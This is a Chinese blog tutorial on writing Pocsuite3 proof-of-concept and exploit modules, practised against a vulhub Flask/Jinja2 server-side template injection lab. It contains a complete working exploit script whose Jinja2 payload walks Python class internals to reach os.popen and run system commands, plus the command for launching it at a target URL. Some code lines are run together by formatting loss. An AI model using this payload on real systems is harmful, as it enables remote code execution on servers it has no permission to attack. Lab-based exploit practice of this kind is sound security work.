> 文章列表 > Pocsuite3框架POC/EXP编写练习:Flask(Jinja2) 服务端模板注入漏洞

Pocsuite3框架POC/EXP编写练习:Flask(Jinja2) 服务端模板注入漏洞

Pocsuite3框架POC/EXP编写练习:Flask(Jinja2) 服务端模板注入漏洞

Pocsuite3 是由知道创宇 404 实验室打造的一款基于 GPLv2 许可证开源的远程漏洞测试框架。可以用来编写POC/EXP,今天借助Flask框架下的SSTI漏洞练习记录一下Pocsuite3框架的配置和编写过程。

官方文档:Pocsuite3 是什么? | Pocsuite3

安装

 1.直接pip安装:

pip3 install -i https://pypi.tuna.tsinghua.edu.cn/simple pocsuite3

安装完之后记得检查一下版本:

pocsuite -version

 2.通过zip包安装:

wget https://github.com/knownsec/pocsuite3/archive/master.zip

unzip master.zip

cd pocsuite3-master

pip3 install -r requirements.txt

python3 setup.py install

 以上方法任选一种。

POC编写流程

借助Flask(Jinja2) 服务端模板注入漏洞练习一下POC的编写过程,关于这个漏洞可以看:

Flask(Jinja2)服务端模板注入漏洞(SSTI)整理_plexming的博客-CSDN博客

详细不多说了,这里主要记录POC编写过程,网站环境使用的是vulhub中ssti相关环境:

首先新建一个.py文件,导入相关模块,构造POC实现类,名字根据实际用途取,继承自POCBase类:

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass FlaskPOC(POCBase):···

然后认真填写 PoC 信息字段,这是官方给出的所有信息字段:

    vulID = '99335'  # Seebug 漏洞收录 ID,如果没有则为 0version = '1'  # PoC 的版本,默认为 1author = 'seebug'  # PoC 的作者vulDate = '2021-8-18'  # 漏洞公开日期 (%Y-%m-%d)createDate = '2021-8-20'  # PoC 编写日期 (%Y-%m-%d)updateDate = '2021-8-20'  # PoC 更新日期 (%Y-%m-%d)references = ['https://www.seebug.org/vuldb/ssvid-99335']  # 漏洞来源地址,0day 不用写name = 'Fortinet FortiWeb 授权命令执行 (CVE-2021-22123)'  # PoC 名称,建议命令方式:<厂商> <组件> <版本> <漏洞类型> <cve编号>appPowerLink = 'https://www.fortinet.com'  # 漏洞厂商主页地址appName = 'FortiWeb'  # 漏洞应用名称appVersion = '<=6.4.0'  # 漏洞影响版本vulType = 'Code Execution'  # 漏洞类型,参见漏洞类型规范表desc = '/api/v2.0/user/remoteserver.saml接口的name参数存在命令注入'  # 漏洞简要描述samples = ['http://192.168.1.1']  # 测试样列,就是用 PoC 测试成功的目标install_requires = ['BeautifulSoup4:bs4']  # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写pocDesc = ''' poc的用法描述 '''category = POC_CATEGORY.EXPLOITS.WEBAPP  # PoC 的分类protocol = POC_CATEGORY.PROTOCOL.HTTP  # PoC 的默认协议,方便对 url 格式化protocol_default_port = 8443  # 目标的默认端口,当提供的目标不包含端口的时候,方便对 url 格式化dork = {'zoomeye': 'deviceState.admin.hostname'}  # 搜索 dork,如果运行 PoC 时不提供目标且该字段不为空,将会调用插件从搜索引擎获取目标。suricata_request = '''http.uri; content: "/api/v2.0/user/remoteserver.saml";'''  # 请求流量 suricata 规则suricata_response = ''  # 响应流量 suricata 规则

字段非常多,不过从 1.9.8 版本开始,基类 POCBase 为 PoC 的所有属性设置了默认值,所以我们并不需要把所有字段都写下来,选择需要的甚至一个不写也没关系,当然为了区分POC建议提供一些基本的属性,这里随便写几个:

author = ['plexming']
name = 'flask ssti'
desc = '''ssti模板注入漏洞POC'''

然后就是重写相关方法了,首先是verify方法,关于漏洞验证的方法写在这里,SSTI漏洞我们可以传一个{{7*7}}来验证一下:

def _verify(self):result = {}path = "/?name="   # 参数url = self.url+pathpayload = "{{7*7}}"  # payloadr = requests.get(url+payload)# 验证成功输出相关信息if r and r.status_code == 200 and "49" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadreturn self.parse_output(result)

还有attack方法,EXP脚本需要写在这里:

EXP编写流程

EXP编写和POC是一样的,无非就是一个写在verify方法里一个写在attack方法里,这里简单执行一个系统命令:

    def _attack(self):result = {}path = "/?name="url = self.url + pathpayload = "{{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()}}"r = requests.get(url + payload)if r and r.status_code == 200 and "www" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadresult['VerifyInfo']['Resp'] = r.textreturn self.parse_output(result)

运行POC 

首先进入刚刚写好的.py文件所在目录,输入命令:

pocsuite -r ./flask_ssti.py -u http://0.0.0.0:8000 --verify

-r后面是.py文件名,-u后面是要攻击的网站最后--verify表示执行POC验证,同理如果是--attack就是执行EXP:

 可以看到成功执行的结果。同样的,执行EXP效果如下:

 完整脚本示例

完整代码如下,仅供参考。

from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE
from pocsuite3.api import OrderedDict, OptStringclass FlaskPOC(POCBase):author = ['plexming']name = 'flask ssti'desc = '''ssti模板注入漏洞POC'''# def _options(self):#     o = OrderedDict()#     o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True)#     o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False)#     return odef _verify(self):result = {}path = "/?name="url = self.url+pathpayload = "{{7*7}}"r = requests.get(url+payload)if r and r.status_code == 200 and "49" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadreturn self.parse_output(result)def _attack(self):result = {}path = "/?name="url = self.url + pathpayload = "{{''.__class__.__base__.__subclasses__()[168].__init__.__globals__['sys'].modules['os'].popen('whoami').read()}}"r = requests.get(url + payload)if r and r.status_code == 200 and "www" in r.text:result['VerifyInfo'] = {}result['VerifyInfo']['URL'] = self.urlresult['VerifyInfo']['Name'] = payloadresult['VerifyInfo']['Resp'] = r.textreturn self.parse_output(result)register_poc(FlaskPOC)